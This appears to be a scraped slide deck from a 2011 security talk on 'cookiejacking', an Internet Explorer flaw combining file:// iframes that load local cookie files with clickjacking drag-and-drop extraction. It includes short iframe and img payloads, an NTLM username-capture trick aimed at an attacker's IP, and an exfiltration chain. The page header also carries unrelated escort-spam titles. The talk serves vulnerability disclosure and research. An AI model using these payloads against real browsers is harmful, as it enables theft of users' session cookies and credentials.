From idea to production in a day – Leveraging Azure ML and Streamlit to build...From idea to production in a day – Leveraging Azure ML and Streamlit to build...
From idea to production in a day – Leveraging Azure ML and Streamlit to build...
 
VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...
VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...
VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...
 

Cookiejacking2011 final

  • 2. Rosario Valotta Cookiejacking Agenda Me, myself and I The IE security zones IE 0-day Overview on UI redressing attacks Solving the jigsaw The big picture Demo
  • 3. Rosario Valotta Cookiejacking Me, myself and I Day time: IT professional, mobile TLC company, Rome, Italy Night time: web security fan since 2007, released a bunch of advisories and PoCs: Nduja Connection: first ever cross domain XSS worm Critical Path Memova : 40 Millions users worldwide affected WMP: information gathering and intranet scanning OWA: CSRF Blog: http://sites.google.com/site/tentacoloviola/
  • 4. Rosario Valotta Cookiejacking Overview on IE security zones In IE, a web site is assigned to a security zone Sites in the same security zone behave the same way according to security privileges 5 default zones: Local Machine Zone Local Intranet Zone Trusted Sites Zone Internet Zone Restrited Sites Zone Security profiles: A collection of security privileges that can be granted to each given zone Predefined: High, Medium, Medium-Low, Low Customized Privileges: ActiveX & plugins Downloads User authentication Scripting Cross zone interaction Decreasing security privileges Hidden by default
  • 5. Rosario Valotta Cookiejacking Cross Zone Interaction By rule of thumb a web content belonging to a less privileged zone cannot access content belonging to more privileged zone So it should be impossible for a web content to access local machine files. It should be. <iframe src=“file:///c:/test.txt”></iframe> Access denied
  • 6. Rosario Valotta Cookiejacking Do not open that folder…aka IE 0-day <iframe src="file:///C:/Documents and Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe> What? Cookies folder of the user currently logged All kind of cookies: HTTP Only Secure (HTTPS) cookie Any website Where? Works on IE 6,7, 8 (also protected mode) Tested on XP SP3, Vista, 7
  • 7. Rosario Valotta Cookiejacking Of coordinated discosure and other oddities… January 28th Disclosed to MSRC IE 9 beta still vulnerable March 14°: first official release of IE9 IE9 not vulnerable Two weeks ago New attack vector found, works also on IE9 <iframe src="file:///C:/Documents and Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe> <iframe src=“http://192.168.1.2/redir.pl?url=file:///C:/Documents and Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
  • 8. Rosario Valotta Cookiejacking Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS document.getElementById(‘myId’).contentWindow. document.innerHTML Access denied file:///C:/Documents and Settings/user/Cookies/user@site.txt Where do we go from here? The path of the cookie folder depends on the username currently logged on Same Origin Policy will block any programmatic access to a local iframe content from web domains Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/
  • 9. Rosario Valotta Cookiejacking Clickjacking aka UI Redressing attack Introduced by Jeremiah Grossman and Robert Hansen in 2008 It’s all about: Iframes overlapping CSS opacity opacity=0; z-index=1 opacity=100; z-index=0 The basic approach: Iframe properly positioned Iframe made invisible User clicks “hijacked” User interaction is needed, SOP is not triggered Advanced scenario: content extraction (Paul Stone, 2010) z-axis Social engineer a victim Select content from a legitimate 3rd party page Drag&drop content in an attacker controlled element Steal sensitive HTML contents Links and Images are converted in URLs event.dataTransfer.getData(“Text”)
  • 10. Rosario Valotta Cookiejacking A B Advanced Clickjacking: content extraction Third party iframe is positioned on the start point of the selectionA The victim starts to select content (e.g. text or html) Third party iframe is positioned on the end point of the selectionB The victim stops selecting Third party iframe is positioned somewhere between A and B The victim drags the selected content into an attacker controlled iframe The technique is made up of 6 steps:
  • 11. Rosario Valotta Cookiejacking Insights Iframe loads cookie text file (0-day) Ball image overlapped on the iframe Content extraction technique Attacks mash-up: how the SOP was won Find a way to access cookies Load arbitrary cookies into an iframe Opacity=0 Z-index=1 Opacity=100 Z-index=0
  • 12. Rosario Valotta Cookiejacking Missing pieces Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS file:///C:/Documents and Settings/user/Cookies/user@site.txt The path of the cookie folder depends on the username currently logged on Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/ Optimize content extraction Drag & drop API doesn’t work well across browsers Two different dragging actions required in order to: select content drag&drop it out of the iframe
  • 13. Rosario Valotta Cookiejacking Drag & drop Drag & drop APIs Acknowledged as one of the innovations introduced in HTML5 Not formally part of latest HTML5 draft Based on Microsoft’s original implementation available on IE 5 Not fully supported on IE 6,7,8 Custom implementation on http://www.useragentman.com Works well on all IE versions Custom effects: drag feedback image, cursor shape change, etc
  • 14. Rosario Valotta Cookiejacking Advanced content extraction Two nested iframes defined in the attacker page Iframes sizes properly defined in order to ensure that scrolling is needed for the cookie (B content) to completely come into view E.g. A.height=100; B.height=500 The sequence: User moves the mouse over the B iframe When user clicks down the mouse button the “onfocus” event is triggered The scrollspeed property of the iframe A is set to 100 With the mouse button down and the iframe B scrolling into iframe A, the final effect is that the user is selecting text as long as the mouse button is clicked If the scrollspeed is big enough, a single click time is enough to select the whole cookie content First drag action (content selection) collapsed in a click goes here. You must set the iframe height to ensure that scrolling is needed to completey select the content ACookie contentB onfocus=“scrollspeed=100”
  • 15. Rosario Valotta Cookiejacking Missing pieces Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS file:///C:/Documents and Settings/user/Cookies/user@site.txt The path of the cookie folder depends on the username currently logged on Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/ Optimize content extraction
  • 16. Rosario Valotta Cookiejacking I know your (user)name Exploit a “feature” of IE (already discussed by Jorge Medina in 2010) IE supports access to file system objects on SMB shares Uses UNC (Universal Naming Convention) paths to reference them Can be used without restrictions inside web pages in the Internet zone or above <img src="[WEB SERVER IP ADDRESS]image.jpg"> Anonymous access is tried first Anonymous access is denied NTLM Challenge/Response Negotiation Windows Username, Windows Computer Name, Windows Domain Capture.pl
  • 17. Rosario Valotta Cookiejacking Missing pieces Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS Different OSs store cookies in different paths: Windows XP C:/Documents and Settings/user/Cookies/ Vista and 7  C:/Users/user/AppData/Roaming/ Microsoft/Windows/Cookies/Low/ Optimize content extraction
  • 18. Rosario Valotta Cookiejacking Little dirty secrets The OS version can be retrieved through a little JS: XP = navigator.userAgent.indexOf("Windows NT 5.1"); Vista= navigator.userAgent.indexOf("Windows NT 6.0"); Win7= navigator.userAgent.indexOf("Windows NT 6.1"); Is the cookie valid? True if the victim is logged on a given website Guess if a victim is logged using a “probing” approach (Jeremiah Grossman, 2006) Dynamic attack setup Probing for user authentication Only define iframes to load valid cookies (1 iframe loads 1 cookie) <img src="https://mail.google.com/mail/pimages/2/labs/labs_bar_icon.png" onload=“doThis()" onerror=“doThat()”>
  • 19. Rosario Valotta Cookiejacking Ready to pown… Find a way to access cookies Load arbitrary cookies into an iframe Guess victim’s username Guess victim’s OS Optimize content extraction
  • 20. Rosario Valotta Cookiejacking The big picture A page containing <img src=“attackerIPdummy> is served Victim’s browser requests img and send Windows username Victim is cookiejacked and sends his cookies Index.html Capture.pl User.txtRedir.pl Onerror event the browser is redirected to a perl script dragPoc.html #username The script read the username sniffed and redirects the browser to the PoC page with the hash value set to username Collect.php
  • 21. Rosario Valotta Cookiejacking The perfect PoC - appealing “content” + - willingly “interact” with her
  • 22. Rosario Valotta Cookiejacking Conclusions Cookiejacking: a new kind of UI redressing attack, exploiting a 0-day vulnerability in all versions of IE, all version of Windows boxes Allows an attacker to steal session cookies, no XSS needed Web site independent: it’s a browser flaw Current countermeasures against Clickjacking don’t work with Cookiejacking Think about using Flash… It’s supposed to last for a long time: there is a huge installation base all over the world

Editor's Notes

  1. aaaaaaa